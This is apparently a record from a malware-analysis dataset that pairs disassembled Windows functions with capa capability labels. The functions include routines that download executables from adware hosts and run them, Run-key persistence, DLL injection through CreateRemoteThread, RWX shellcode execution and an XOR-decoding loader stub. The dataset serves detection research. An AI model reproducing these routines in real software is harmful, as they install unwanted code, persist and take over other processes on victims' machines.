joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010be
Capabilities:
Create process on windows

Disassembly:
jmp 0x403f50
sub esp, 0x104
push ebx
push esi
push edi
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects60E78CAC_E9A7_4302_B9EE_8582EDE22FBF
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x403f80
pop edi
pop esi
mov eax, 3
pop ebx
add esp, 0x104
ret
mov edi, dword [esp + 0x114]
mov esi, 0x40ce58
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x403fb6
test cl, cl
je 0x403fb2
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x403fb6
add eax, 2
add esi, 2
test cl, cl
jne 0x403f8e
xor eax, eax
jmp 0x403fbb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x404006
mov esi, 0x40ce54
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x403fee
test cl, cl
je 0x403fea
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x403fee
add eax, 2
add esi, 2
test cl, cl
jne 0x403fc6
xor eax, eax
jmp 0x403ff3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x404006
pop edi
pop esi
mov eax, 6
pop ebx
add esp, 0x104
ret
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.igetnet.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__install.xxxtoolbar.com_ist_softwares_addins_igetnet.exe
call fcn.00401032
add esp, 8
test eax, eax
jne 0x40407f
pop edi
pop esi
mov eax, 7
pop ebx
add esp, 0x104
ret
push 0
push 0
lea ecx, [esp + 0x14]
push 0
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
neg eax
sbb eax, eax
pop edi
and al, 0xfe
pop esi
add eax, 7
pop ebx
add esp, 0x104
ret
Function at 0x4010c3
Capabilities:
Create process on windows
Delete file

Disassembly:
jmp 0x405140
sub esp, 0x104
push ebx
push esi
push edi
push 0
push str.SoftwareAvenue_MediaInternet_Optimizer
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x405170
pop edi
pop esi
mov eax, 3
pop ebx
add esp, 0x104
ret
mov edi, dword [esp + 0x114]
mov esi, 0x40ce58
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x4051a6
test cl, cl
je 0x4051a2
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x4051a6
add eax, 2
add esi, 2
test cl, cl
jne 0x40517e
xor eax, eax
jmp 0x4051ab
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4051f6
mov esi, 0x40ce54
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x4051de
test cl, cl
je 0x4051da
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x4051de
add eax, 2
add esi, 2
test cl, cl
jne 0x4051b6
xor eax, eax
jmp 0x4051e3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4051f6
pop edi
pop esi
mov eax, 6
pop ebx
add esp, 0x104
ret
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.optimize.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__cdn.climaxbucks.com_internet_optimizer_br_wsi12_optimize.exe
call fcn.00401032
add esp, 8
test eax, eax
jne 0x40526f
pop edi
pop esi
mov eax, 7
pop ebx
add esp, 0x104
ret
push 0
push 0
lea ecx, [esp + 0x14]
push str._notac
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test eax, eax
jne 0x40529a
pop edi
pop esi
mov eax, 7
pop ebx
add esp, 0x104
ret
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
mov eax, 5
pop ebx
add esp, 0x104
ret
Function at 0x4010eb
Capabilities:
Create process on windows

Disassembly:
jmp 0x4058c0
sub esp, 0x104
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallCasProg
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x4058ea
mov eax, 3
add esp, 0x104
ret
push ebx
push esi
push edi
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.bridge.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__install.xxxtoolbar.com_ist_softwares_golden_bridge.exe
call fcn.00401032
add esp, 8
test eax, eax
pop edi
pop esi
pop ebx
jne 0x405966
mov eax, 7
add esp, 0x104
ret
push 0
push 0
lea ecx, [esp + 8]
push 0
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
neg eax
sbb eax, eax
and al, 0xfe
add eax, 7
add esp, 0x104
ret

Function at 0x4010f0
Capabilities:
Create shortcut via ishelllink

Disassembly:
jmp 0x402580
sub esp, 0x314
push esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 4]
push eax
push 0x40aa0c
push 1
push 0
push 0x40ac3c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
test esi, esi
jl 0x402672
mov eax, dword [esp + 4]
mov edx, dword [esp + 0x31c]
push edi
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
mov eax, dword [esp + 8]
mov edi, dword [esp + 0x328]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
push 0x40b06c
mov edx, dword [eax]
push eax
call dword [edx]
mov esi, eax
test esi, esi
jl 0x402667
mov edx, dword [esp + 0x324]
lea eax, [esp + 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [esp + 0x10]
push 0x40c9dc
push ecx
call esi
lea edx, [esp + 0x10]
push edi
push edx
call esi
lea eax, [esp + 0x10]
push str..lnk
push eax
call esi
lea ecx, [esp + 0x114]
push 0x104
push ecx
lea edx, [esp + 0x18]
push 0xffffffffffffffff
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x114]
push 1
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, eax
mov eax, dword [esp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 8]
push eax
mov edx, dword [eax]
call dword [edx + 8]
pop edi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
pop esi
add esp, 0x314
ret
Function at 0x401104
Capabilities:
Create process on windows

Disassembly:
jmp 0x4042d0
sub esp, 0x104
push 0
push str.SoftwareSideFind
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x4042fa
mov eax, 3
add esp, 0x104
ret
push 0
push str.SoftwareLycosSideSearch
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x40431e
mov eax, 6
add esp, 0x104
ret
push ebx
push esi
push edi
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.sidefind.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__install.xxxtoolbar.com_ist_softwares_addins_sidefind.exe
call fcn.00401032
add esp, 8
test eax, eax
pop edi
pop esi
pop ebx
jne 0x40439a
mov eax, 7
add esp, 0x104
ret
mov ecx, dword [esp + 0x10c]
push 0
push 0
lea edx, [esp + 8]
push ecx
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
neg eax
sbb eax, eax
and al, 0xfe
add eax, 7
add esp, 0x104
ret

Function at 0x401127
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
jmp 0x403be0
sub esp, 0x110
mov eax, 4
lea ecx, [esp]
mov dword [esp + 8], eax
mov dword [esp + 4], eax
lea eax, [esp + 4]
lea edx, [esp + 8]
push eax
push ecx
push edx
push str.version
push str.SoftwareISTsvc
push SysReAllocStringLen
mov dword [esp + 0x18], 0
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov eax, dword [esp]
cmp eax, 0x3f3
jge 0x403cd7
test eax, eax
je 0x403cd7
push ebx
push esi
push edi
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.istsvc_updater.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__install.xxxtoolbar.com_ist_softwares_istupdates_istsvc_updater.exe
call fcn.00401032
add esp, 8
test eax, eax
pop edi
pop esi
pop ebx
jne 0x403cb2
mov eax, 7
add esp, 0x110
ret
push 0
push 0
lea ecx, [esp + 0x14]
push 0
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
neg eax
sbb eax, eax
and al, 0xfe
add eax, 7
add esp, 0x110
ret
mov eax, 2
add esp, 0x110
ret
Function at 0x401f32
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x40204e
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x4022de
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret
Function at 0x402af0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x402b3b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402b34
test esi, esi
je 0x402b34
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402b10
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402d20
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402d70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402e48
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x402dae
cmp eax, 4
jne 0x402dd0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x402dbe
cmp edx, 4
je 0x402dbe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402d20
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040c272
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040c272
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040c272
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040c272
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040c272
mov dword [0x41203c], eax
call fcn.0040c272
test eax, eax
jge 0x402550
push 8
call fcn.0040c272
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040c272
pop ecx
push 1
call fcn.0040c272
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040c272
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040c272
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040c272
jmp 0x402495

Function at 0x40c272
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x40c281
pop dword [ebp - 0x34]
mov eax, 0xcdd14fdb
sub eax, 0xcd908d5a
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x382ea
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x54ab66f6
sub ecx, 0x54ab246c
mov esi, eax
mov edi, 0x413bc4
add edi, dword [ebp - 0x34]
mov ebx, 0x8efc863a
add ebx, 0xc87e8bce
xor dword [ebp - 0x30], edi
mov edx, dword [edi]
add dword [ebp - 0x30], 0xc0d1e2e0
add edx, ebx
add dword [ebp - 0x24], eax
mov dword [esi], edx
add dword [ebp - 0xc], ecx
add esi, 0x162cd3ad
sub esi, 0x162cd3a9
add edi, 4
loop 0x40c2d5
add eax, 0x471cb8e4
sub eax, 0x471bbbe9
xor ebx, ebx
add ebx, eax
add eax, 0x211e0d44
add eax, 0xdee1f2c1
mov ecx, 0x58fc7f85
sub ecx, 0x58bc7f85
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x10017d30
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 0xc]
call sym.e_sqlite3.dll_sqlite3_initialize
test eax, eax
jne 0x10017ebf
push esi
cmp byte [0x101250fc], al
jne 0x10017d53
mov dword [ebp - 4], eax
jmp 0x10017d86
mov esi, dword [0x10125140]
mov ecx, esi
push 5
call dword [0x1010a1d8]
call esi
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
je 0x10017d86
mov esi, dword [0x10125148]
mov ecx, esi
push eax
call dword [0x1010a1d8]
call esi
mov eax, dword [ebp - 4]
add esp, 4
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
jle 0x10017e9b
test edi, edi
je 0x10017e9b
cmp dword [0x10129540], 0
jne 0x10017e28
push 0
call sym.e_sqlite3.dll_sqlite3_vfs_find
movups xmm0, xmmword [str.expand_32_byte_k]
add esp, 4
movups xmmword [0x10129540], xmm0
test eax, eax
jne 0x10017dd2
push 0x2c
push eax
push 0x10129550
call fcn.100fc010
jmp 0x10017e07
mov esi, dword [0x1012520c]
test esi, esi
je 0x10017df2
push 0x2c
push 0
push 0x10129550
call fcn.100fc010
mov dword [0x10129550], esi
jmp 0x10017e07
mov esi, dword [eax + 0x38]
mov ecx, esi
push 0x10129550
push 0x2c
push eax
call dword [0x1010a1d8]
call esi
mov eax, dword [0x10129570]
add esp, 0xc
xor cl, cl
mov dword [0x1012957c], eax
mov dword [0x10129570], 0
mov byte [0x101295c0], cl
jmp 0x10017e2e
mov cl, byte [0x101295c0]
movzx eax, cl
cmp ebx, eax
jle 0x10017e7b
test cl, cl
je 0x10017e56
movzx eax, cl
push eax
push 0x10129580
push edi
call fcn.100fba90
movzx eax, byte [0x101295c0]
add esp, 0xc
sub ebx, eax
add edi, eax
inc dword [0x10129570]
push 0x10129540
push 0x10129580
call fcn.1002abe0
add esp, 8
mov cl, 0x40
mov byte [0x101295c0], cl
cmp ebx, 0x40
jg 0x10017e35
movzx eax, cl
sub eax, ebx
push ebx
add eax, 0x10129580
push eax
push edi
call fcn.100fba90
mov eax, dword [ebp - 4]
add esp, 0xc
sub byte [0x101295c0], bl
jmp 0x10017ea5
mov dword [0x10129540], 0
test eax, eax
je 0x10017ebd
mov esi, dword [0x10125150]
mov ecx, esi
push eax
call dword [0x1010a1d8]
call esi
add esp, 4
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x100182c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.10074dc0
Function at 0x10056560
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
mov ecx, 0xd
sub esi, 1
js 0x10056595
push edi
mov edi, dword [ebp + 0x10]
nop word [eax + eax]
movzx edx, byte [esi + edi]
lea eax, [ecx*8]
xor edx, eax
xor ecx, edx
sub esi, 1
jns 0x10056580
pop edi
movzx edx, byte [ebp + 0xc]
lea eax, [ecx*8]
xor eax, edx
xor edx, edx
xor eax, ecx
div dword [ebp + 8]
pop esi
mov eax, edx
pop ebp
ret
Function at 0x1007f250
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push edi
push dword [ebp + 0x18]
mov edi, dword [ebp + 8]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
mov byte [edi + 0x10], 1
push ebx
push ebx
push str.SELECT_1_FROM___w_.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d___Q___d_NULL
push edi
call fcn.100b3f90
add esp, 0x1c
cmp dword [ebp + 0x10], 0
jne 0x1007f293
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push ebx
push str.SELECT_1_FROM_temp.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1___Q___d_NULL
push edi
call fcn.100b3f90
add esp, 0x14
pop edi
pop ebx
pop ebp
ret
Function at 0x1009ceb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
xor edx, edx
push esi
xor esi, esi
mov dword [ebp - 4], edx
push edi
mov edi, dword [ebp + 0x10]
cmp dword [eax + 0x14], edx
jle 0x1009cf6d
push ebx
nop
mov eax, dword [eax + 0x10]
mov ebx, esi
xor ebx, 1
cmp esi, 2
cmovge ebx, esi
mov ecx, ebx
add ecx, ecx
mov edx, dword [eax + ecx*8 + 0xc]
mov dword [ebp - 8], edx
test edi, edi
je 0x1009cf31
mov eax, dword [eax + ecx*8]
sub edi, eax
movzx edx, byte [eax]
movzx ecx, byte [edi + eax]
cmp edx, ecx
jne 0x1009cf04
test edx, edx
je 0x1009cf31
inc eax
jmp 0x1009cef2
movzx ecx, byte [ecx + 0x1010d540]
movzx edx, byte [edx + 0x1010d540]
sub edx, ecx
jne 0x1009cf19
inc eax
jmp 0x1009cef2
test ebx, ebx
jne 0x1009cf51
push dword [ebp + 0x10]
push str.main
call fcn.100c3b00
add esp, 8
test eax, eax
jne 0x1009cf51
mov eax, dword [ebp - 8]
push 0
push dword [ebp + 0xc]
add eax, 0x18
push eax
call fcn.10036c10
add esp, 0xc
mov edx, dword [eax + 8]
mov dword [ebp - 4], edx
test edx, edx
jne 0x1009cf64
jmp 0x1009cf54
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
inc esi
mov edi, dword [ebp + 0x10]
cmp esi, dword [eax + 0x14]
jl 0x1009ced0
pop ebx
pop edi
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret